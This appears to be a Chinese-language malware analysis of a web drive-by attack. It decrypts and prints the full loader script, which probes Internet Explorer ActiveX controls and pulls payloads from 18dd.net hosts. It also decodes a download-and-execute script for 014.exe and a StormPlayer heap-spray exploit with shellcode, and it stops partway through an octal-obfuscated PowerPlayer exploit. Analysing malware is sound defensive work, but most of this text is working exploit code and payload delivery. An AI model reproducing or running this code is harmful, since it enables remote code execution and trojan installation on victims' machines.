J9mznXPrI1tcHoBBs/AO88CepqQB+lk7Qwd8+Iqi44Y4rTn4k99nFW/3EK3mjjz49NFCqol7zP8FYbiZ97hnbH7n1E11xFusI1KCiauUlPNMsLTafqbCi34Ad3xjuz12q71p1eq3cwAvV/wVzME8O3p+8OIGTdaFmT4kiI73cIdTNHLneR97BJ/X7mbYo+szpw6STGSwbnbh8fviZphT4vp/kVh4VLJ1Mp0C1GuxJx1PfaUqA58sGVbq+84cIJdr3wdczhRPipHx/oaazaH0b//idgMam4vhGM4DDGDB+aSkVMpJtFHojRFaiZsQwIstKTlg66rQQBKiC3LrqF7pUwcGpqmUs35QdIFl16P5PeYsGgRVG9nYNNxNUhNMXIIQ7/3TCNAjxxzMxUvSDivDoqba1awBo1XCxD0BEiFWeI1fia2wRhseKZQp86sntWghqh4cUzYatuwv0hwIDjGmN68y8N5bQuiXG2WkMkM0YW9oHeU/DlERgAQ04f7KedZR+KyvEvIpTMScEh8kg7RT+An8hmN8fqQXq0qAvl1iZrpGeVtOf4o0qqsBYNyoDrmNdP1Omt726YtF0aCxOo/gllDlynNWUEzhqB4+7ERr1wuodt8JALnTnChV5ilRb6+CbZGVp9LfKAx6YrOKTPqGdxXTWmT61Ooe41hfGNY/NQYz5IoomIjR8owAOGBQ/ZKPxyFtr/ASGoG+if9TZ3PML3BDOBWzTDlI1fsNrPpV727R+Fb5cxFXWiHNKqgXkqb2CRYm/ABxFfoprzKy68GqTw4UxFMrc/QlojjkTorhDId5wnBD3UR8MSWXmGXF8EbJbgL4U9Cz9d8hbrtHlbc4UR+MgLEzQqTgsGm/RMkbCku5swBqrEeDsvJqKSjI50a+diCFk7Zm2LuhVbwfTitsgjtr1V0Wk8MYJomyn7fGexlMHOigURGdnfXx7T1sflG3rIUv0LKSb+j+XE5o+GjR50mBswgixNpkFDPdlk80N7lMwj+SpBPzTT3MIuCnvVJdnemahexDmVjJxBTIsIc4AfWURj6sFK9+Vu7elKZBF86J9KQN4aUB7ujQnmsyCk29KQDhUEYHfyN7aDc3pdxl2LHrSyn6e790e5eZ6aC2LJUsokocz3ixyAYDLS6scEpoRbcU2c9CcBLDWNxMa/CpEHKEM5LPnt2lPoAwfZZNrgtWMznVcYQJzAueKcsWJ4g8crzv8swYHXMQJswcWucrwGFEsIFkLDOpvOm3FvKOKZq+ZNo8hEUgGCzry2dVQzhLCLjdlmZ1oJ1v8wINli/2qdncjR4MAWd95T/Ugal6GEv/uDQGvOvszqT0XBrj+K+6YOjAHshnAjhSKk9XoOCUNiZIqH6b73gVWGvyJImY5zJEppVT/EMuYu6PAGmF2zzLEQbCmMmEuUQqYvdSSg0gHnga0k+ICBmc52x4VZ30E67jjytU5Wsmo0zbui7TvReiEgyUJVgJUwNpyXrPvKpNhvQSYj02mQ/xqKDjv2QVHiSLFzMZaUPpfB0wKTP85tBxAUZRrEEVGCWUXaLfPuj9japBdt7glq+qO5DKhtF37/JxAbulqh0Mx8U/sjjtUadC1H5vpqqYTi7dMWFprAt6W1mokPTzEHGaOvWAGzdO8qspbE0rz2csHun2KyY/5347k38AH0bkfHBTQ9bQI32dkRqiEY9Y9CWTRllVKuLhnCr0bYJ0YP5o751jlw67Lsb1bNRkKFyec17oo43g==

在该文件的末尾能够看到使用了xxtea_decrypt和basae64解密 密钥为:\x73\x63\x72\x69\x70\x74 16进制转字符串后得到结果也就是script
经过解密网站得到的结果如下:

<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>

image
对字符进行16进制转义最终可以得到真实的代码

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

这段脚本是一个典型的恶意漏洞检测与载荷投递器,主要针对Windows平台上的IE浏览器及特定ActiveX控件。其核心逻辑是:

防止重复执行:检查Cookie中是否已存在OK标记,若无则继续,执行后设置一个有效期为1天的Cookie ce=windowsxp。

探测Adodb.Stream控件:尝试通过<object>标签创建Adodb.Stream对象(常被用于文件读写/漏洞利用)。

若创建成功(未抛出异常):直接加载远程恶意脚本 http://aa.18dd.net/aa/1.js

若失败:则依次探测以下其他控件,并根据探测结果投递不同载荷:

MPS.StormPlayer(暴风影音控件):成功则加载 b.js。

POWERPLAYER.PowerPlayerCtrl.1(某播放器控件):成功则加载 pps.js。

BaiduBar.Tool(百度工具栏):成功则调用 DloadDS 方法从 http://down.18dd.net/bb/bd.cab 下载 bd.exe 并执行(即下载木马程序)。

最终目的:根据受害者系统已安装的特定软件(暴风影音、百度工具栏等)或存在已知漏洞的组件,动态选择合适的攻击载荷,实现远程恶意代码执行或木马下载。

序号 URL 用途判断 URL 字符串 MD5
1 http://aa.18dd.net/aa/1.js ADODB.Stream / ActiveX 相关二阶段脚本 5d7e9058a857aa2abee820d5473c5fa4
2 http://aa.18dd.net/aa/b.js StormPlayer 控件相关二阶段脚本 3870c28cc279d457746b3796a262f166
3 http://aa.18dd.net/aa/pps.js PPS / PowerPlayer 控件相关二阶段脚本 5f0b8bf0385314dbe0e5ec95e6abedc2
4 http://down.18dd.net/bb/bd.cab BaiduBar.Tool 控件调用下载的 CAB / EXE 载荷 1c1d7b3539a617517c49eee4120783b2

在文件中依次找到该4个对应文件,首先是1.js
经过16进制转字符串结果如下:

var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");
xml.Open("GET",url,0);
xml.Send();
as.type=1;
as.open();
as.write(xml.responseBody);
path="..\\ntuser.com";
as.savetofile(path,2);
as.close();
var shell=ado.createobject("Shell.Application","");
shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}
catch(e){}

这段脚本是恶意下载并执行木马的代码,具体流程如下:
指定恶意文件地址
var url="http://**.net/bb/014.exe";
远程服务器上的可执行文件(很可能是木马、后门或勒索软件)。
利用 XMLHTTP 下载文件
通过 ado.CreateObject("Microsoft.XMLHTTP","") 创建 HTTP 请求对象。
以同步模式(0)GET 请求该 URL。
Send() 执行请求,获取二进制响应数据 responseBody。
将二进制数据写入本地文件
使用 Adodb.Stream 对象(代码中的 as):设置类型为二进制(type=1),打开,写入响应体。
保存路径为 ..\ntuser.com(向上级目录,通常是 C:\ 或 C:\Documents and Settings\,文件名用 .com 伪装成可执行文件)。
参数 2 表示覆盖已有文件。
执行下载的文件
创建 Shell.Application 对象。
调用 ShellExecute 以 cmd.exe /c ..\ntuser.com 静默启动该文件(窗口状态 0 表示隐藏)。

对于b.js
其内容如下,该js中存在着混淆,直接使用浏览器f12 console.log即可

console.log(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)',10,196,'|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'),0,{}))

最终的解码结果如下所示:

var bigblock=unescape("%u9090%u9090");var headersize=20;var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
varslackspace=headersize+shellcode.length;
while(bigblock.length<slackspace)
bigblock+=bigblock;
fillblock=bigblock.substring(0,slackspace);
block=bigblock.substring(0,bigblock.lengthslackspace);
while(block.length+slackspace<0x40000)
block=block+block+fillblock;
memory=new Array();
for(x=0;x<300;x++)memory[x]=block+shellcode;
var buffer='';
while(buffer.length<4068)
buffer+="\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)

这段脚本是针对暴风影音控件(MPS.StormPlayer)漏洞的定向堆喷射攻击,用于触发漏洞并执行 shellcode。具体流程如下:
构建堆喷射数据
bigblock 初始为 %u9090%u9090(NOP 滑板)。
shellcode 包含一段经过编码的机器码(功能为下载执行木马,从其中的 URL 片段 http://.../bf.exe 可确认)。
计算 slackspace,将 bigblock 扩展至该长度作为填充块 fillblock。
再构造一个更大的 block,使其长度与 fillblock 相加后接近 0x40000(262KB),以提高漏洞命中率。
喷射内存
创建包含 300 个元素的数组 memory,每个元素填入 block + shellcode。
这会在 IE 的内存空间里填充大量重复的 shellcode 地址,大幅增加漏洞利用成功率。
触发漏洞
构造一个 4068 字节的字符串 buffer,内容全是换行符 \x0a。
调用暴风影音控件的 rawParse 方法,传入该超长字符串,触发已知的缓冲区溢出漏洞
最终效果
漏洞触发后,程序执行流会跳转到堆中的 NOP 滑板,最终执行 shellcode。
Shellcode 会下载 http://down.18dd.net/bb/bf.exe(或其他恶意程序)并执行,完成木马植入。

接下来是pps.js文件
具体内容如下:很明显该js文件使用了8进制进行混淆。

eval("\57\52\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\52\57\15\12\160\160\163\75\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\42\157\142\152\145\143\164\42\51\51\73\15\12\160\160\163\56\163\145\164\101\164\164\162\151\142\165\164\145\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\65\105\103\67\103\65\61\61\55\103\104\60\106\55\64\62\105\66\55\70\63\60\103\55\61\102\104\71\70\70\62\106\63\64\65\70\42\51\15\12\166\141\162\40\163\150\145\154\154\143\157\144\145\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\146\63\145\71\45\165\60\60\60\60\42\53\15\12\42\45\165\71\60\60\60\45\165\71\60\71\60\45\165\65\141\71\60\45\165\141\61\66\64\45\165\60\60\63\60\45\165\60\60\60\60\45\165\64\60\70\142\45\165\70\142\60\143\42\40\53\15\12\42\45\165\61\143\67\60\45\165\70\142\141\144\45\165\60\70\64\60\45\165\144\70\70\142\45\165\67\63\70\142\45\165\70\142\63\143\45\165\61\145\67\64\45\165\60\63\67\70\42\40\53\15\12\42\45\165\70\142\146\63\45\165\62\60\67\145\45\165\146\142\60\63\45\165\64\145\70\142\45\165\63\63\61\64\45\165\65\66\145\144\45\165\65\61\65\67\45\165\63\146\70\142\42\40\53\15\12\42\45\165\146\142\60\63\45\165\146\62\70\142\45\165\60\145\66\141\45\165\146\63\65\71\45\165\67\64\141\66\45\165\65\71\60\70\45\165\70\63\65\146\45\165\60\64\143\67\42\40\53\15\12\42\45\165\145\62\64\65\45\165\65\71\145\71\45\165\65\145\65\146\45\165\143\144\70\142\45\165\64\66\70\142\45\165\60\63\62\64\45\165\144\61\143\63\45\165\60\63\145\61\42\40\53\15\12\42\45\165\63\63\143\61\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\60\64\143\67\45\165\65\143\60\63\45\165\62\145\66\61\45\165\143\67\66\65\45\165\60\63\64\64\42\40\53\15\12\42\45\165\67\70\60\64\45\165\60\60\66\65\45\165\63\63\60\60\45\165\65\60\143\60\45\165\65\63\65\60\45\165\65\60\65\66\45\165\65\67\146\146\45\165\70\142\146\143\42\40\53\15\12\42\45\165\66\141\144\143\45\165\65\63\60\60\45\165\65\67\146\146\45\165\66\70\146\60\45\165\62\64\65\61\45\165\60\60\64\60\45\165\146\146\65\70\45\165\63\63\144\60\42\40\53\15\12\42\45\165\141\143\143\60\45\165\143\60\70\65\45\165\146\71\67\65\45\165\65\62\65\61\45\165\65\63\65\66\45\165\144\62\146\146\45\165\65\71\65\141\45\165\145\62\141\142\42\40\53\15\12\42\45\165\63\63\145\145\45\165\143\63\143\60\45\165\60\143\145\70\45\165\146\146\146\146\45\165\64\67\146\146\45\165\67\64\66\65\45\165\67\62\65\60\45\165\66\63\66\146\42\40\53\15\12\42\45\165\66\64\64\61\45\165\67\62\66\64\45\165\67\63\66\65\45\165\60\60\67\63\45\165\66\65\64\67\45\165\65\63\67\64\45\165\67\63\67\71\45\165\66\65\67\64\42\40\53\15\12\42\45\165\64\64\66\144\45\165\67\62\66\71\45\165\66\63\66\65\45\165\66\146\67\64\45\165\67\71\67\62\45\165\60\60\64\61\45\165\66\71\65\67\45\165\64\65\66\145\42\40\53\15\12\42\45\165\66\65\67\70\45\165\60\60\66\63\45\165\67\70\64\65\45\165\67\64\66\71\45\165\66\70\65\64\45\165\66\65\67\62\45\165\66\64\66\61\45\165\64\143\60\60\42\40\53\15\12\42\45\165\66\61\66\146\45\165\64\143\66\64\45\165\66\62\66\71\45\165\66\61\67\62\45\165\67\71\67\62\45\165\60\60\64\61\45\165\67\62\67\65\45\165\66\144\66\143\42\40\53\15\12\42\45\165\66\145\66\146\45\165\65\65\60\60\45\165\64\143\65\62\45\165\66\146\64\64\45\165\66\145\67\67\45\165\66\146\66\143\45\165\66\64\66\61\45\165\66\146\65\64\42\40\53\15\12\42\45\165\66\71\64\66\45\165\66\65\66\143\45\165\60\60\64\61\45\165\67\64\66\70\45\165\67\60\67\64\45\165\62\146\63\141\45\165\66\64\62\146\45\165\67\67\66\146\45\165\62\145\66\145\45\165\63\70\63\61\45\165\66\64\66\64\45\165\66\145\62\145\45\165\67\64\66\65\45\165\66\62\62\146\45\165\62\146\66\62\45\165\67\60\67\60\45\165\62\145\67\63\45\165\67\70\66\65\45\165\60\60\66\65\42\51\73\15\12\166\141\162\40\142\151\147\142\154\157\143\153\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\71\60\71\60\45\165\71\60\71\60\42\51\73\15\12\166\141\162\40\150\145\141\144\145\162\163\151\172\145\40\75\40\62\60\73\15\12\166\141\162\40\163\154\141\143\153\163\160\141\143\145\40\75\40\150\145\141\144\145\162\163\151\172\145\53\163\150\145\154\154\143\157\144\145\56\154\145\156\147\164\150\73\15\12\167\150\151\154\145\40\50\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\74\163\154\141\143\153\163\160\141\143\145\51\40\142\151\147\142\154\157\143\153\53\75\142\151\147\142\154\157\143\153\73\15\12\146\151\154\154\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\163\154\141\143\153\163\160\141\143\145\51\73\15\12\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\55\163\154\141\143\153\163\160\141\143\145\51\73\15\12\167\150\151\154\145\50\142\154\157\143\153\56\154\145\156\147\164\150\53\163\154\141\143\153\163\160\141\143\145\74\60\170\64\60\60\60\60\51\40\142\154\157\143\153\40\75\40\142\154\157\143\153\53\142\154\157\143\153\53\146\151\154\154\142\154\157\143\153\73\15\12\155\145\155\157\162\171\40\75\40\156\145\167\40